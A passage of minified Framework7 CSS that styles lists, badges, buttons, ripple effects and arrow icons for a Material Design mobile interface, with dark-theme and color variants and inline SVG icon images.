.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after{right:calc(16px + const(safe-area-inset-right));right:calc(16px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}.list.md .theme-dark ul:before,.md .theme-dark .list ul:before{background-color:rgba(255,255,255,.08)}.list.md .theme-dark ul:after,.md .theme-dark .list ul:after{background-color:rgba(255,255,255,.08)}.list.md .theme-dark li li:last-child .item-inner:after,.list.md .theme-dark li:last-child li .item-inner:after,.md .theme-dark .list li li:last-child .item-inner:after,.md .theme-dark .list li:last-child li .item-inner:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-divider:before{background-color:rgba(255,255,255,.08)}.md .theme-dark .list-group-title:before{background-color:rgba(255,255,255,.08)}.md .theme-dark .list-button:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-inner:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-divider,.md .theme-dark .list-group-title{background-color:#111;color:#fff}.links-list.md .theme-dark a .simple-list li:after,.md .theme-dark .links-list a:after,.md .theme-dark .simple-list li:after,.simple-list.md .theme-dark li:after{background-color:rgba(255,255,255,.08)}.links-list.md .theme-dark a.active-state,.list.md .theme-dark .item-link.active-state,.list.md .theme-dark .list-button.active-state,.md .theme-dark .links-list a.active-state,.md .theme-dark .list .item-link.active-state,.md .theme-dark .list .list-button.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .item-after,.md .theme-dark .item-text{color:rgba(255,255,255,.54)}.md .color-theme-red .list-button{color:#f44336}.md .color-theme-green .list-button{color:#4caf50}.md .color-theme-blue .list-button{color:#2196f3}.md .color-theme-pink .list-button{color:#e91e63}.md .color-theme-yellow .list-button{color:#ffeb3b}.md .color-theme-orange .list-button{color:#ff9800}.md .color-theme-gray .list-button{color:#9e9e9e}.md .color-theme-white .list-button{color:#fff}.md .color-theme-black .list-button{color:#000}.md .links-list a.color-red,.md .links-list li.color-red a,.md .list .item-link.color-red,.md .list .list-button.color-red,.md .list li.color-red .item-link,.md .list li.color-red .list-button,.md .simple-list li.color-red{color:#f44336}.md .links-list a.color-green,.md .links-list li.color-green a,.md .list .item-link.color-green,.md .list .list-button.color-green,.md .list li.color-green .item-link,.md .list li.color-green .list-button,.md .simple-list li.color-green{color:#4caf50}.md .links-list a.color-blue,.md .links-list li.color-blue a,.md .list .item-link.color-blue,.md .list .list-button.color-blue,.md .list li.color-blue .item-link,.md .list li.color-blue .list-button,.md .simple-list li.color-blue{color:#2196f3}.md .links-list a.color-pink,.md .links-list li.color-pink a,.md .list .item-link.color-pink,.md .list .list-button.color-pink,.md .list li.color-pink .item-link,.md .list li.color-pink .list-button,.md .simple-list li.color-pink{color:#e91e63}.md .links-list a.color-yellow,.md .links-list li.color-yellow a,.md .list .item-link.color-yellow,.md .list .list-button.color-yellow,.md .list li.color-yellow .item-link,.md .list li.color-yellow .list-button,.md .simple-list li.color-yellow{color:#ffeb3b}.md .links-list a.color-orange,.md .links-list li.color-orange a,.md .list .item-link.color-orange,.md .list .list-button.color-orange,.md .list li.color-orange .item-link,.md .list li.color-orange .list-button,.md .simple-list li.color-orange{color:#ff9800}.md .links-list a.color-gray,.md .links-list li.color-gray a,.md .list .item-link.color-gray,.md .list .list-button.color-gray,.md .list li.color-gray .item-link,.md .list li.color-gray .list-button,.md .simple-list li.color-gray{color:#9e9e9e}.md .links-list a.color-white,.md .links-list li.color-white a,.md .list .item-link.color-white,.md .list .list-button.color-white,.md .list li.color-white .item-link,.md .list li.color-white .list-button,.md .simple-list li.color-white{color:#fff}.md .links-list a.color-black,.md .links-list li.color-black a,.md .list .item-link.color-black,.md .list .list-button.color-black,.md .list li.color-black .item-link,.md .list li.color-black .list-button,.md .simple-list li.color-black{color:#000}.badge{display:inline-block;color:#fff;background:#8e8e93;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center}.f7-icons .badge,.framework7-icons .badge,.icon .badge,.material-icons .badge{position:absolute;left:100%;margin-left:-10px;top:-2px}.md .badge{font-size:10px;border-radius:3px;padding:1px 6px;vertical-align:middle}.md .f7-icons .badge,.md .framework7-icons .badge,.md .icon .badge,.md .material-icons .badge{line-height:1.4;padding:1px 5px;font-family:Roboto,Noto,Helvetica,Arial,sans-serif;font-size:10px}.md .badge.color-red{background-color:#f44336}.md .badge.color-green{background-color:#4caf50}.md .badge.color-blue{background-color:#2196f3}.md .badge.color-pink{background-color:#e91e63}.md .badge.color-yellow{background-color:#ffeb3b}.md .badge.color-orange{background-color:#ff9800}.md .badge.color-gray{background-color:#9e9e9e}.md .badge.color-white{background-color:#fff}.md .badge.color-black{background-color:#000}button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle}input[type=button].button,input[type=submit].button{width:100%}button{width:100%}.segmented{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap}.segmented .button,.segmented button{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.subnavbar .segmented{width:100%}.md .button{color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);font-weight:500;letter-spacing:.03em}.md .button.active-state{background:rgba(0,0,0,.1)}.md .button.button-active,.md .button.button-fill,.md .button.button-fill-md,.md .button.tab-link-active{background-color:#2196f3;color:#fff}.md .button.button-active.active-state,.md .button.button-fill-md.active-state,.md .button.button-fill.active-state,.md .button.tab-link-active.active-state{background:#0c82df}.md .button.button-big,.md .button.button-big-md{height:48px;line-height:48px;border-radius:4px}.md .button.button-round,.md .button.button-round-md{border-radius:36px}.md .button.button-outline{border:2px solid #2196f3;line-height:32px}.md .button.button-outline.button-big,.md .button.button-outline.button-big-md{line-height:44px}.md .button.button-small,.md .button.button-small-md{height:28px;line-height:28px;font-size:13px;font-weight:500;letter-spacing:.03em}.md .button.button-small-md.button-outline,.md .button.button-small.button-outline{border-width:2px;line-height:24px}.md .button>i.icon+i.icon,.md .button>i.icon+span,.md .button>span:not(.ripple-wave)+i.icon,.md .button>span:not(.ripple-wave)+span{margin-right:8px}.md .button.button-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .button.button-raised.active-state{-webkit-box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23);box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.md .navbar .button:not(.button-fill):not(.button-fill-md),.md .subnavbar .button:not(.button-fill):not(.button-fill-md),.md .toolbar .button:not(.button-fill):not(.button-fill-md){color:#fff}.md .navbar .button:not(.button-fill):not(.button-fill-md).active-state,.md .subnavbar .button:not(.button-fill):not(.button-fill-md).active-state,.md .toolbar .button:not(.button-fill):not(.button-fill-md).active-state{background:rgba(255,255,255,.15)}.md .toast .button:not(.button-fill):not(.button-fill-md).active-state{background:rgba(255,255,255,.15)}.md .segmented{border-radius:4px}.md .segmented.segmented-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .segmented.segmented-round{border-radius:36px}.md .segmented .button{border-radius:0;min-width:0;border-right:1px solid rgba(0,0,0,.1)}.md .segmented .button:first-child{border-radius:0 4px 4px 0;border-right:none}.md .segmented .button.button-outline{border:2px solid #2196f3}.md .segmented .button.button-outline:nth-child(n+2){border-right:none}.md .segmented .button:last-child{border-radius:4px 0 0 4px}.md .segmented .button:first-child:last-child{border-radius:4px}.md .segmented .button.button-round:first-child{border-radius:0 36px 36px 0}.md .segmented .button.button-round:last-child{border-radius:36px 0 0 36px}.md .theme-dark .button:not(.button-fill):not(.button-fill-md):not(.button-active):not(.tab-link-active).active-state{background-color:rgba(255,255,255,.1)}.md .color-red .button,.md .color-theme-red .button{color:#f44336}.md .color-red .button.button-active,.md .color-red .button.button-fill,.md .color-red .button.button-fill-md,.md .color-red .button.tab-link-active,.md .color-theme-red .button.button-active,.md .color-theme-red .button.button-fill,.md .color-theme-red .button.button-fill-md,.md .color-theme-red .button.tab-link-active{background-color:#f44336;color:#fff}.md .color-red .button.button-active.active-state,.md .color-red .button.button-fill-md.active-state,.md .color-red .button.button-fill.active-state,.md .color-red .button.tab-link-active.active-state,.md .color-theme-red .button.button-active.active-state,.md .color-theme-red .button.button-fill-md.active-state,.md .color-theme-red .button.button-fill.active-state,.md .color-theme-red .button.tab-link-active.active-state{background:#f21f0f}.md .color-red .button.button-outline,.md .color-theme-red .button.button-outline{border-color:#f44336}.md .color-green .button,.md .color-theme-green .button{color:#4caf50}.md .color-green .button.button-active,.md .color-green .button.button-fill,.md .color-green .button.button-fill-md,.md .color-green .button.tab-link-active,.md .color-theme-green .button.button-active,.md .color-theme-green .button.button-fill,.md .color-theme-green .button.button-fill-md,.md .color-theme-green .button.tab-link-active{background-color:#4caf50;color:#fff}.md .color-green .button.button-active.active-state,.md .color-green .button.button-fill-md.active-state,.md .color-green .button.button-fill.active-state,.md .color-green .button.tab-link-active.active-state,.md .color-theme-green .button.button-active.active-state,.md .color-theme-green .button.button-fill-md.active-state,.md .color-theme-green .button.button-fill.active-state,.md .color-theme-green .button.tab-link-active.active-state{background:#409343}.md .color-green .button.button-outline,.md .color-theme-green .button.button-outline{border-color:#4caf50}.md .color-blue .button,.md .color-theme-blue .button{color:#2196f3}.md .color-blue .button.button-active,.md .color-blue .button.button-fill,.md .color-blue .button.button-fill-md,.md .color-blue .button.tab-link-active,.md .color-theme-blue .button.button-active,.md .color-theme-blue .button.button-fill,.md .color-theme-blue .button.button-fill-md,.md .color-theme-blue .button.tab-link-active{background-color:#2196f3;color:#fff}.md .color-blue .button.button-active.active-state,.md .color-blue .button.button-fill-md.active-state,.md .color-blue .button.button-fill.active-state,.md .color-blue .button.tab-link-active.active-state,.md .color-theme-blue .button.button-active.active-state,.md .color-theme-blue .button.button-fill-md.active-state,.md .color-theme-blue .button.button-fill.active-state,.md .color-theme-blue .button.tab-link-active.active-state{background:#0c82df}.md .color-blue .button.button-outline,.md .color-theme-blue .button.button-outline{border-color:#2196f3}.md .color-pink .button,.md .color-theme-pink .button{color:#e91e63}.md .color-pink .button.button-active,.md .color-pink .button.button-fill,.md .color-pink .button.button-fill-md,.md .color-pink .button.tab-link-active,.md .color-theme-pink .button.button-active,.md .color-theme-pink .button.button-fill,.md .color-theme-pink .button.button-fill-md,.md .color-theme-pink .button.tab-link-active{background-color:#e91e63;color:#fff}.md .color-pink .button.button-active.active-state,.md .color-pink .button.button-fill-md.active-state,.md .color-pink .button.button-fill.active-state,.md .color-pink .button.tab-link-active.active-state,.md .color-theme-pink .button.button-active.active-state,.md .color-theme-pink .button.button-fill-md.active-state,.md .color-theme-pink .button.button-fill.active-state,.md .color-theme-pink .button.tab-link-active.active-state{background:#ca1452}.md .color-pink .button.button-outline,.md .color-theme-pink .button.button-outline{border-color:#e91e63}.md .color-theme-yellow .button,.md .color-yellow .button{color:#ffeb3b}.md .color-theme-yellow .button.button-active,.md .color-theme-yellow .button.button-fill,.md .color-theme-yellow .button.button-fill-md,.md .color-theme-yellow .button.tab-link-active,.md .color-yellow .button.button-active,.md .color-yellow .button.button-fill,.md .color-yellow .button.button-fill-md,.md .color-yellow .button.tab-link-active{background-color:#ffeb3b;color:#fff}.md .color-theme-yellow .button.button-active.active-state,.md .color-theme-yellow .button.button-fill-md.active-state,.md .color-theme-yellow .button.button-fill.active-state,.md .color-theme-yellow .button.tab-link-active.active-state,.md .color-yellow .button.button-active.active-state,.md .color-yellow .button.button-fill-md.active-state,.md .color-yellow .button.button-fill.active-state,.md .color-yellow .button.tab-link-active.active-state{background:#ffe712}.md .color-theme-yellow .button.button-outline,.md .color-yellow .button.button-outline{border-color:#ffeb3b}.md .color-orange .button,.md .color-theme-orange .button{color:#ff9800}.md .color-orange .button.button-active,.md .color-orange .button.button-fill,.md .color-orange .button.button-fill-md,.md .color-orange .button.tab-link-active,.md .color-theme-orange .button.button-active,.md .color-theme-orange .button.button-fill,.md .color-theme-orange .button.button-fill-md,.md .color-theme-orange .button.tab-link-active{background-color:#ff9800;color:#fff}.md .color-orange .button.button-active.active-state,.md .color-orange .button.button-fill-md.active-state,.md .color-orange .button.button-fill.active-state,.md .color-orange .button.tab-link-active.active-state,.md .color-theme-orange .button.button-active.active-state,.md .color-theme-orange .button.button-fill-md.active-state,.md .color-theme-orange .button.button-fill.active-state,.md .color-theme-orange .button.tab-link-active.active-state{background:#d68000}.md .color-orange .button.button-outline,.md .color-theme-orange .button.button-outline{border-color:#ff9800}.md .color-gray .button,.md .color-theme-gray .button{color:#9e9e9e}.md .color-gray .button.button-active,.md .color-gray .button.button-fill,.md .color-gray .button.button-fill-md,.md .color-gray .button.tab-link-active,.md .color-theme-gray .button.button-active,.md .color-theme-gray .button.button-fill,.md .color-theme-gray .button.button-fill-md,.md .color-theme-gray .button.tab-link-active{background-color:#9e9e9e;color:#fff}.md .color-gray .button.button-active.active-state,.md .color-gray .button.button-fill-md.active-state,.md .color-gray .button.button-fill.active-state,.md .color-gray .button.tab-link-active.active-state,.md .color-theme-gray .button.button-active.active-state,.md .color-theme-gray .button.button-fill-md.active-state,.md .color-theme-gray .button.button-fill.active-state,.md .color-theme-gray .button.tab-link-active.active-state{background:#8a8a8a}.md .color-gray .button.button-outline,.md .color-theme-gray .button.button-outline{border-color:#9e9e9e}.md .color-theme-white .button,.md .color-white .button{color:#fff}.md .color-theme-white .button.button-active,.md .color-theme-white .button.button-fill,.md .color-theme-white .button.button-fill-md,.md .color-theme-white .button.tab-link-active,.md .color-white .button.button-active,.md .color-white .button.button-fill,.md .color-white .button.button-fill-md,.md .color-white .button.tab-link-active{background-color:#fff;color:#fff}.md .color-theme-white .button.button-active.active-state,.md .color-theme-white .button.button-fill-md.active-state,.md .color-theme-white .button.button-fill.active-state,.md .color-theme-white .button.tab-link-active.active-state,.md .color-white .button.button-active.active-state,.md .color-white .button.button-fill-md.active-state,.md .color-white .button.button-fill.active-state,.md .color-white .button.tab-link-active.active-state{background:#ebebeb}.md .color-theme-white .button.button-outline,.md .color-white .button.button-outline{border-color:#fff}.md .color-black .button,.md .color-theme-black .button{color:#000}.md .color-black .button.button-active,.md .color-black .button.button-fill,.md .color-black .button.button-fill-md,.md .color-black .button.tab-link-active,.md .color-theme-black .button.button-active,.md .color-theme-black .button.button-fill,.md .color-theme-black .button.button-fill-md,.md .color-theme-black .button.tab-link-active{background-color:#000;color:#fff}.md .color-black .button.button-active.active-state,.md .color-black .button.button-fill-md.active-state,.md .color-black .button.button-fill.active-state,.md .color-black .button.tab-link-active.active-state,.md .color-theme-black .button.button-active.active-state,.md .color-theme-black .button.button-fill-md.active-state,.md .color-theme-black .button.button-fill.active-state,.md .color-theme-black .button.tab-link-active.active-state{background:#000}.md .color-black .button.button-outline,.md .color-theme-black .button.button-outline{border-color:#000}.md .button.color-red{color:#f44336}.md .button.color-red.button-active,.md .button.color-red.button-fill,.md .button.color-red.button-fill-md,.md .button.color-red.tab-link-active{background-color:#f44336;color:#fff}.md .button.color-red.button-active.active-state,.md .button.color-red.button-fill-md.active-state,.md .button.color-red.button-fill.active-state,.md .button.color-red.tab-link-active.active-state{background:#f21f0f}.md .button.color-red.button-outline{border-color:#f44336}.md .button.color-green{color:#4caf50}.md .button.color-green.button-active,.md .button.color-green.button-fill,.md .button.color-green.button-fill-md,.md .button.color-green.tab-link-active{background-color:#4caf50;color:#fff}.md .button.color-green.button-active.active-state,.md .button.color-green.button-fill-md.active-state,.md .button.color-green.button-fill.active-state,.md .button.color-green.tab-link-active.active-state{background:#409343}.md .button.color-green.button-outline{border-color:#4caf50}.md .button.color-blue{color:#2196f3}.md .button.color-blue.button-active,.md .button.color-blue.button-fill,.md .button.color-blue.button-fill-md,.md .button.color-blue.tab-link-active{background-color:#2196f3;color:#fff}.md .button.color-blue.button-active.active-state,.md .button.color-blue.button-fill-md.active-state,.md .button.color-blue.button-fill.active-state,.md .button.color-blue.tab-link-active.active-state{background:#0c82df}.md .button.color-blue.button-outline{border-color:#2196f3}.md .button.color-pink{color:#e91e63}.md .button.color-pink.button-active,.md .button.color-pink.button-fill,.md .button.color-pink.button-fill-md,.md .button.color-pink.tab-link-active{background-color:#e91e63;color:#fff}.md .button.color-pink.button-active.active-state,.md .button.color-pink.button-fill-md.active-state,.md .button.color-pink.button-fill.active-state,.md .button.color-pink.tab-link-active.active-state{background:#ca1452}.md .button.color-pink.button-outline{border-color:#e91e63}.md .button.color-yellow{color:#ffeb3b}.md .button.color-yellow.button-active,.md .button.color-yellow.button-fill,.md .button.color-yellow.button-fill-md,.md .button.color-yellow.tab-link-active{background-color:#ffeb3b;color:#fff}.md .button.color-yellow.button-active.active-state,.md .button.color-yellow.button-fill-md.active-state,.md .button.color-yellow.button-fill.active-state,.md .button.color-yellow.tab-link-active.active-state{background:#ffe712}.md .button.color-yellow.button-outline{border-color:#ffeb3b}.md .button.color-orange{color:#ff9800}.md .button.color-orange.button-active,.md .button.color-orange.button-fill,.md .button.color-orange.button-fill-md,.md .button.color-orange.tab-link-active{background-color:#ff9800;color:#fff}.md .button.color-orange.button-active.active-state,.md .button.color-orange.button-fill-md.active-state,.md .button.color-orange.button-fill.active-state,.md .button.color-orange.tab-link-active.active-state{background:#d68000}.md .button.color-orange.button-outline{border-color:#ff9800}.md .button.color-gray{color:#9e9e9e}.md .button.color-gray.button-active,.md .button.color-gray.button-fill,.md .button.color-gray.button-fill-md,.md .button.color-gray.tab-link-active{background-color:#9e9e9e;color:#fff}.md .button.color-gray.button-active.active-state,.md .button.color-gray.button-fill-md.active-state,.md .button.color-gray.button-fill.active-state,.md .button.color-gray.tab-link-active.active-state{background:#8a8a8a}.md .button.color-gray.button-outline{border-color:#9e9e9e}.md .button.color-white{color:#fff}.md .button.color-white.button-active,.md .button.color-white.button-fill,.md .button.color-white.button-fill-md,.md .button.color-white.tab-link-active{background-color:#fff;color:#fff}.md .button.color-white.button-active.active-state,.md .button.color-white.button-fill-md.active-state,.md .button.color-white.button-fill.active-state,.md .button.color-white.tab-link-active.active-state{background:#ebebeb}.md .button.color-white.button-outline{border-color:#fff}.md .button.color-black{color:#000}.md .button.color-black.button-active,.md .button.color-black.button-fill,.md .button.color-black.button-fill-md,.md .button.color-black.tab-link-active{background-color:#000;color:#fff}.md .button.color-black.button-active.active-state,.md .button.color-black.button-fill-md.active-state,.md .button.color-black.button-fill.active-state,.md .button.color-black.tab-link-active.active-state{background:#000}.md .button.color-black.button-outline{border-color:#000}.md .actions-button,.md .button,.md .checkbox,.md .dialog-button,.md .fab a,.md .radio,.md .ripple,.md .speed-dial-buttons a,.md .tab-link,.md a.item-link,.md a.link{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.md .ripple-wave{left:0;top:0;position:absolute!important;border-radius:50%;pointer-events:none;z-index:-1;background:rgba(0,0,0,.1);padding:0;margin:0;font-size:0;-webkit-transform:translate3d(0,0,0) scale(0);transform:translate3d(0,0,0) scale(0);-webkit-transition-duration:1.4s;transition-duration:1.4s}.md .ripple-wave.ripple-wave-fill{-webkit-transition-duration:.3s;transition-duration:.3s;opacity:.35}.md .ripple-wave.ripple-wave-out{-webkit-transition-duration:.6s;transition-duration:.6s;opacity:0}.button-fill .md .ripple-wave,.picker-calendar-day .md .ripple-wave{z-index:1}.md .button-active .ripple-wave,.md .button-fill .ripple-wave,.md .fab a .ripple-wave,.md .navbar .ripple-wave,.md .stepper-fill .ripple-wave,.md .subnavbar .ripple-wave,.md .toast .ripple-wave,.md .toolbar .ripple-wave{background:rgba(255,255,255,.3)}.md .messagebar .ripple-wave,.md .searchbar .ripple-wave{background:rgba(0,0,0,.1)}.md .data-table .sortable-cell .ripple-wave{z-index:0}.md .checkbox .ripple-wave,.md .radio .ripple-wave{background:rgba(33,150,243,.5);z-index:0}.calendar.md .theme-dark .ripple-wave,.md .theme-dark .calendar .ripple-wave,.md .theme-dark .messagebar .ripple-wave,.md .theme-dark .page-content .ripple-wave,.md .theme-dark .popover .ripple-wave{background-color:rgba(255,255,255,.3)}.md .ripple-color-red .ripple-wave,.md .ripple-red .ripple-wave{background-color:rgba(244,67,54,.3)}.md .ripple-color-green .ripple-wave,.md .ripple-green .ripple-wave{background-color:rgba(76,175,80,.3)}.md .ripple-blue .ripple-wave,.md .ripple-color-blue .ripple-wave{background-color:rgba(33,150,243,.3)}.md .ripple-color-pink .ripple-wave,.md .ripple-pink .ripple-wave{background-color:rgba(233,30,99,.3)}.md .ripple-color-yellow .ripple-wave,.md .ripple-yellow .ripple-wave{background-color:rgba(255,235,59,.3)}.md .ripple-color-orange .ripple-wave,.md .ripple-orange .ripple-wave{background-color:rgba(255,152,0,.3)}.md .ripple-color-gray .ripple-wave,.md .ripple-gray .ripple-wave{background-color:rgba(158,158,158,.3)}.md .ripple-color-white .ripple-wave,.md .ripple-white .ripple-wave{background-color:rgba(255,255,255,.3)}.md .ripple-black .ripple-wave,.md .ripple-color-black .ripple-wave{background-color:rgba(0,0,0,.3)}i.icon{display:inline-block;vertical-align:middle;background-size:100% auto;background-position:center;background-repeat:no-repeat;font-style:normal;position:relative}.md .icon-back{width:24px;height:24px}.md .icon-forward{width:24px;height:24px}.md .icon-next,.md .icon-prev{width:24px;height:24px}.md .item-media .icon{color:#737373}.md .item-media .material-icons{font-size:24px;width:24px;height:24px}.md .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-red,.md a.link .color-red .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-red,.md a.link .color-red .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-red,.md a.link .color-red .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-red,.md a.link .color-red .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-green,.md a.link .color-green .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-green,.md a.link .color-green 